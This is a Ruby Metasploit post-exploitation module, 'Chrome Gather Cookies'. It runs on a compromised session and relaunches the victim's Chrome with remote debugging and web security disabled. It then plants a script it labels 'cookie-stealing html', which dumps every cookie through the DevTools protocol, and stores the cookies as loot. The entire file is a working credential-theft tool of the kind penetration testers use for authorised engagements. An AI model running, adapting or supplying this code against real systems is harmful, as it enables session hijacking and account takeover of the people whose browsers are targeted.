##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chrome Gather Cookies',
        'Description' => 'Read all cookies from the Default Chrome profile of the target user.',
        'License' => MSF_LICENSE,
        'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
        'Platform' => %w[linux unix bsd osx windows],
        'SessionTypes' => %w[meterpreter shell]
      )
    )

    register_options(
      [
        OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),
        OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', '']),
        OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])
      ]
    )
  end

  def configure_for_platform
    vprint_status('Determining session platform')
    vprint_status("Platform: #{session.platform}")
    vprint_status("Type: #{session.type}")

    if session.platform == 'windows'
      username = get_env('USERNAME').strip
    else
      username = cmd_exec 'id -un'
    end

    temp_storage_dir = datastore['WRITABLE_DIR']

    case session.platform
    when 'unix', 'linux', 'bsd', 'python'
      chrome = 'google-chrome'
      user_data_dir = "/home/#{username}/.config/google-chrome"
      temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
      @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
    when 'osx'
      chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"'
      user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome"
      temp_storage_dir = temp_storage_dir.nil? ? '/tmp' : temp_storage_dir
      @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
    when 'windows'
      chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'
      user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data"
      temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir
      @cookie_storage_path = "#{user_data_dir}\\chrome_debug.log"
    else
      fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"
    end

    unless datastore['CHROME_BINARY_PATH'].empty?
      chrome = datastore['CHROME_BINARY_PATH']
    end

=begin
    # #writable? not supported on windows
    unless writable? @temp_storage_dir
      fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"
    end
=end

    @html_storage_path = create_cookie_stealing_html(temp_storage_dir)

    chrome_debugging_args = []

    if session.platform == 'windows'
      # `--headless` doesn't work on Windows, so use an offscreen window instead.
      chrome_debugging_args << '--window-position=0,0'
      chrome_debugging_args << '--enable-logging --v=1'
    else
      chrome_debugging_args << '--headless'
    end

    chrome_debugging_args_all_platforms = [
      '--disable-translate',
      '--disable-extensions',
      '--disable-background-networking',
      '--safebrowsing-disable-auto-update',
      '--disable-sync',
      '--metrics-recording-only',
      '--disable-default-apps',
      '--mute-audio',
      '--no-first-run',
      '--disable-web-security',
      '--disable-plugins',
      '--disable-gpu'
    ]

    chrome_debugging_args << chrome_debugging_args_all_platforms
    chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\""
    chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"
    chrome_debugging_args << " #{@html_storage_path}"

    @chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(' ')}"
  end

  def create_cookie_stealing_html(temp_storage_dir)
    cookie_stealing_html = %(
      <!DOCTYPE html>
      <html lang="en">
      <head>
        <meta charset="utf-8">
        <title>index.html</title>
      </head>
      <body>
          <script>

              var remoteDebuggingPort = #{datastore['REMOTE_DEBUGGING_PORT']};
              var request = new XMLHttpRequest();
              request.open("GET", "http://localhost:" + remoteDebuggingPort + "/json");
              request.responseType = 'json';
              request.send();

              request.onload = function() {
                var webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
                console.log(webSocketDebuggerUrl);
                var connection = new WebSocket(webSocketDebuggerUrl);

                connection.onopen = function () {
                  connection.send('{"id": 1, "method": "Network.getAllCookies"}');
                };

                connection.onmessage = function (e) {
                  var cookies_blob = JSON.stringify(JSON.parse(e.data).result.cookies);
                  console.log('REMOTE_DEBUGGING|' + cookies_blob);
                };
              }
          </script>
      </body>
      </html>
    )

    # Where to temporarily store the cookie-stealing html
    if session.platform == 'windows'
      html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
    else
      html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
    end

    write_file(html_storage_path, cookie_stealing_html)
    html_storage_path
  end

  def cleanup
    if file?(@html_storage_path)
      vprint_status("Removing file #{@html_storage_path}")
      rm_f @html_storage_path
    end

    if file?(@cookie_storage_path)
      vprint_status("Removing file #{@cookie_storage_path}")
      rm_f @cookie_storage_path
    end
  end

  def get_cookies
    if session.platform == 'windows'
      chrome_cmd = @chrome_debugging_cmd.to_s
      kill_cmd = 'taskkill /f /pid'
    else
      chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1"
      kill_cmd = 'kill -9'
    end

    if session.type == 'meterpreter'
      chrome_pid = cmd_exec_get_pid(chrome_cmd)
      print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"
      Rex.sleep(5)

      # read_file within if/else block because kill was terminating sessions on OSX during testing
      chrome_output = read_file(@cookie_storage_path)

      # Kills spawned chrome process in windows meterpreter sessions.
      # In OSX and Linux the meterpreter sessions would stop as well.
      if session.platform == 'windows'
        kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
      end
    else
      # Using shell_command for backgrounding process (&)
      client.shell_command("#{chrome_cmd} &")
      print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"
      Rex.sleep(5)

      chrome_output = read_file(@cookie_storage_path)
    end

    cookies_msg = ''
    chrome_output.each_line do |line|
      if line =~ /REMOTE_DEBUGGING/
        print_good('Found Match')
        cookies_msg = line
      end
    end

    fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty?

    # Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info
    cookies_json = cookies_msg.split('REMOTE_DEBUGGING|')[1]
    cookies_json.split('", source: file')[0]
  end

  def save(msg, data, ctype = 'text/json')
    ltype = 'chrome.gather.cookies'
    loot = store_loot ltype, ctype, session, data, nil, msg
    print_good "#{msg} stored in #{loot}"
  end

  def run
    fail_with Failure::BadConfig, 'No session found, giving up' if session.nil?

    # Issues with write_file. Maybe a path problem?
    if session.platform == 'windows' && session.type == 'shell'
      fail_with Failure::BadConfig, 'Windows shell session not support, giving up'
    end

    unless session.platform == 'windows' && session.type == 'meterpreter'
      print_warning 'This module will leave a headless Chrome process running on the target machine.'
    end

    configure_for_platform
    cookies = get_cookies
    cookies_parsed = JSON.parse cookies
    save "#{cookies_parsed.length} Chrome Cookies", cookies
  end
end
